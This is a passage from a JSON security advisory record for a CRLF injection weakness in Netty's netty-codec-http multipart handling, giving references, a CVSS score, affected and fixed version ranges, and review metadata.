Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)\n- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "io.netty:netty-codec-http"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.2.0.Final"
}, {
"fixed" : "4.2.16.Final"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "io.netty:netty-codec-http"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.1.136.Final"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/netty/netty"
}, {
"type" : "WEB",
"url" : "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
}, {
"type" : "WEB",
"url" : "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-93" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-22T21:52:55Z",
"nvd_published_at" : null
}
}